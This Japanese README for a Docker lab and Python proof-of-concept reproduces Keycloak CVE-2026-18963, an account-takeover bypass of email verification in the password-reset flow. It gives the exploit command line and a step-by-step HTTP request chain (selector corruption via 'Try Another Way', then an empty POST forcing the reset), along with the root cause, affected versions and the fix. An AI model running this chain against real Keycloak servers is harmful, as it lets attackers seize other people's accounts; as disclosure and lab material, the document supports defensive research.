
CVE-2026-18963(Keycloakのreset-credentialsフローをバイパスし、メール検証の回避によるアカウント乗っ取りを可能にする脆弱性)に対するDockerベースのラボとPythonエクスプロイト。
Keycloak における脆弱性 CVE-2026-18963 (CVSS 9.1) を再現するラボです。攻撃者がパスワードリセットフローにおけるメール検証をバイパスすることで、任意のアカウントを乗っ取ることができます。
セキュリティ研究および教育目的にのみ使用してください。
docker-compose up -d
Keycloak が起動するまで待ちます (~30-60 秒)。
pip install -r requirements.txt
python setup-lab.py
スクリプトは以下を作成します:
vuln-labvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
オプション:
-u / --url: Keycloak URL (デフォルト: http://127.0.0.1:8080)-r / --realm: Realm 名 (デフォルト: vuln-lab)-t / --target: 対象ユーザー名 (デフォルト: victim)-p / --password: 新しいパスワード (デフォルト: Pwned123!)-v / --verbose: デバッグ出力を有効化MailHog UI: http://127.0.0.1:8025 — exploit 中に送信された reset-password メールを確認できます。
docker-compose down -v
Keycloak における 2 つの不具合が組み合わさり、攻撃チェーンを形成します:
不具合 1 — Selector 状態の破損 (DefaultAuthenticationFlow.java):
ユーザーが「Try Another Way」をクリックすると、auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED が execution model ID ではなく "true" (真偽値の文字列) として保存されます。値 "true" は特定の execution に紐付かないため、フロー内の各ステップを通じて存続し、selector が誤ったコンテキストで表示されます。
不具合 2 — 無条件の action 成功 (ResetCredentialEmail.java):
ResetCredentialEmail の action() メソッドは、action token を検証せずに無条件で context.success() を呼び出します。通常、action() はユーザーがメール内のリンク (action token を含む) をクリックした場合にのみ呼び出されます。しかし selector が破損している場合、攻撃者はフロー処理を通じて action() を直接トリガーできます。
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. auth セッションを初期化
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. reset フローへ遷移
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. selector 状態を破損
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. selector 経由で username を送信
│<── "Check your email" page ────────│ メール送信、CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. reset フローに再進入
│<── Corrupted selector (!!!) ───────│ processFlow() が SELECTOR="true" を検出
│ │ → email ステップに selector を表示
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: action() をトリガー
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() が form 内に
│ │ authenticationExecution を検出せず
│─── GET /required-action ──────────>│ → action() 分岐に到達
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (無条件!)
│ │ → フローが ResetPassword へ遷移
│ │
│─── POST password-new=Pwned! ──────>│ 7. 新しいパスワードを設定
│<── 302 → /account/ ──────────────│ アカウント乗っ取り完了
│ │
└── 新しいパスワードでログイン ──────┘
DefaultAuthenticationFlow.processAction() において、POST を受信した際:
tryAnotherWay を確認 → なし (form は空)authenticationExecution を確認 → なし (form は空)authenticator.action(result) を呼び出すURL に execution=<email_exec_id> (selector form action 由来) が含まれているため、ResetCredentialEmail.action() が呼び出される → context.success() を返す → フローが ResetPassword へ遷移 → パスワード設定フォームを表示。
| 製品 | 影響を受ける | 修正済み |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() は Boolean.parseBoolean() ではなく selector.equals(lastExecutionId) を検証removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() は context.success() を呼び出す前に ACTION_TOKEN_USER_ID を検証context.failure(INVALID_USER)